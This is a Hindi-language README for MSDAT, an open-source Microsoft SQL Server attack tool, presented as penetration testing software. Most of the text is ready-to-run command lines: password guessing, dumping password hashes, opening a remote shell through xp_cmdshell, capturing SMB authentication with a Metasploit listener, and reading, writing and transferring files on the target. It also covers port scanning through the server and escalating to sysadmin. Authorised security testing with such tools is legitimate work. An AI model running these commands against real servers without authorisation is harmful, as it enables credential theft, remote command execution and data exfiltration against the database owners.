
MSDAT: Microsoft SQL डेटाबेस हमलावर उपकरण
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) एक ओपन सोर्स पेनिट्रेशन टेस्टिंग टूल है जो Microsoft SQL डेटाबेस की सुरक्षा का दूरस्थ रूप से परीक्षण करता है।
MSDAT के उपयोग के उदाहरण:
Microsoft SQL डेटाबेस 2005, 2008, 2012, 2014, 2016 और 2019 पर परीक्षण किया गया।
MSDAT (Microsoft SQL Database Attacking Tool) की बदौलत, आप यह कर सकते हैं (गैर-विस्तृत सूची):
MSDAT चलाने के लिए कुछ निर्भरताएँ स्थापित की जानी चाहिए।
उबंटू में:
sudo apt-get install freetds-dev
या http://www.freetds.org/ से freetds डाउनलोड करें
Python निर्भरताएँ स्थापित करें:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
या
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
अपनी freetds कॉन्फ़िगरेशन फ़ाइल में "use ntlmv2 = yes" जोड़ें (उदा: /etc/freetds/freetds.conf या /usr/local/etc/freetds.conf)।
उदाहरण:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
आप --test-module विकल्प की मदद से जान सकते हैं कि कोई विशिष्ट मॉड्यूल MSSQL सर्वर पर उपयोग किया जा सकता है या नहीं। यह विकल्प प्रत्येक mdat मॉड्यूल में लागू किया गया है।
all मॉड्यूल आपको सभी मॉड्यूल चलाने की अनुमति देता है (आपके द्वारा चुने गए विकल्पों पर निर्भर करता है)।
python msdat.py all -s $SERVER
यदि आप चाहते हैं:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
प्रत्येक मॉड्यूल में, आप --charset विकल्प के साथ उपयोग करने के लिए कैरेक्टर सेट को परिभाषित कर सकते हैं।
बिना प्रमाणीकरण के दूरस्थ MSSQL सर्वर के बारे में तकनीकी जानकारी प्राप्त करने के लिए:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
यह मॉड्यूल जानकारी प्राप्त करने के लिए TDS प्रोटोकॉल और SQL ब्राउज़र सर्वर का उपयोग करता है।
यह मॉड्यूल आपको मान्य क्रेडेंशियल खोजने की अनुमति देता है:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--force-retry विकल्प आपसे पूछे बिना प्रत्येक उपयोगकर्ता के लिए कई पासवर्ड का परीक्षण करने की अनुमति देता है
आप --accounts-file विकल्प के साथ अपनी स्वयं की खाता फ़ाइल निर्दिष्ट कर सकते हैं:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
हैशेड पासवर्ड डंप करने के लिए:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
यह मॉड्यूल SQL Server 2000, 2005, 2008 और 2014 पर परीक्षण किया गया है।
xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx) की बदौलत सिस्टम कमांड निष्पादित करने के लिए:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
यह पिछला कमांड आपको दूरस्थ डेटाबेस सर्वर पर एक इंटरैक्टिव शेल देता है।
यदि xp_cmdshell सक्षम नहीं है, तो इस मॉड्यूल में इसे सक्रिय करने के लिए --enable-xpcmdshell का उपयोग किया जा सकता है:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
--enable-xpcmdshell विकल्प xp_cmdshell को सक्षम करता है यदि यह सक्षम नहीं है (डिफ़ॉल्ट रूप से सक्षम नहीं)।
--disable-xpcmdshell विकल्प xp_cmdshell को अक्षम करता है यदि यह सक्षम है।
इस मॉड्यूल की बदौलत, आप SMB प्रमाणीकरण कैप्चर कर सकते हैं:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
SMB प्रमाणीकरण कैप्चर करने के लिए, मेटास्प्लॉइट का auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) मॉड्यूल का उपयोग किया जा सकता है:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
इस मॉड्यूल का capture कमांड xp_dirtree, xp_fileexist या xp-getfiledetails प्रक्रिया की बदौलत SMB प्रमाणीकरण कैप्चर करने का प्रयास करता है।
यदि आप प्रमाणीकरण कैप्चर करने के लिए SMB प्रमाणीकरण प्रक्रिया चुनना चाहते हैं:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
आप --share-name विकल्प से SHARE नाम बदल सकते हैं।
इस मॉड्यूल का उपयोग डेटाबेस सर्वर में फ़ाइल पढ़ने/लिखने के लिए किया जा सकता है।
निम्नलिखित कमांड डेटाबेस सर्वर में संग्रहीत temp.txt फ़ाइल को पढ़ता है:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
दूरस्थ रूप से किसी फ़ाइल (temp.txt) में एक स्ट्रिंग लिखने के लिए:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
इस मॉड्यूल का उपयोग डेटाबेस सर्वर पर संग्रहीत फ़ाइल (C:\Users\Administrator\Desktop\temp.txt) को डाउनलोड करने के लिए किया जा सकता है:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
इसके अलावा, आप इस मॉड्यूल का उपयोग लक्ष्य पर एक फ़ाइल (temp.txt) अपलोड करने के लिए कर सकते हैं:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt'
bulkopen मॉड्यूल का उपयोग किया जा सकता है:
लक्ष्य में संग्रहीत फ़ाइल को पढ़ने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
--method विकल्प का उपयोग उपयोग करने की विधि निर्दिष्ट करने के लिए किया जा सकता है:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
एक फ़ाइल (C:\Users\Administrator\Desktop\temp.txt) डाउनलोड करने के लिए:` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
इस मॉड्यूल का उपयोग डेटाबेस सर्वर के माध्यम से पोर्ट (127.0.0.1 के 1433 और 1434) स्कैन करने के लिए किया जा सकता है:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
आप पोर्ट की एक श्रेणी स्कैन कर सकते हैं:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
इस मॉड्यूल का उपयोग डेटाबेस ($SERVER) के माध्यम से दूरस्थ डेटाबेस सर्वर (जैसे $SERVER2) पर SQL अनुरोध (जैसे select @@ServerName) निष्पादित करने के लिए किया जा सकता है:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
xpdirectory मॉड्यूल का उपयोग किया जा सकता है:
किसी विशिष्ट निर्देशिका में फ़ाइलों को सूचीबद्ध करने के लिए:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
किसी विशिष्ट निर्देशिका में निर्देशिकाओं को सूचीबद्ध करने के लिए:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
ड्राइव सूचीबद्ध करने के लिए:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
यह जांचने के लिए कि कोई फ़ाइल मौजूद है या नहीं:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
एक निर्देशिका बनाने के लिए:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
search मॉड्यूल का उपयोग तालिकाओं और दृश्यों के कॉलम नामों में एक पैटर्न खोजने के लिए किया जा सकता है। उदाहरण के लिए कॉलम नामों में %password% पैटर्न खोजने में उपयोगी।
पासवर्ड पैटर्न (जैसे passwd, password, motdepasse, clave) वाले कॉलम नाम प्राप्त करने के लिए:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
यदि आप उन कॉलम नामों को देखना चाहते हैं जिनमें कोई डेटा नहीं है, तो आपको --show-empty-columns विकल्प का उपयोग करना चाहिए।
दृश्यों और तालिकाओं के कॉलम नामों में एक विशिष्ट पैटर्न खोजने के लिए:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
यदि आप दान करके मेरे काम का समर्थन करना चाहते हैं, तो मैं इसकी बहुत सराहना करूंगा: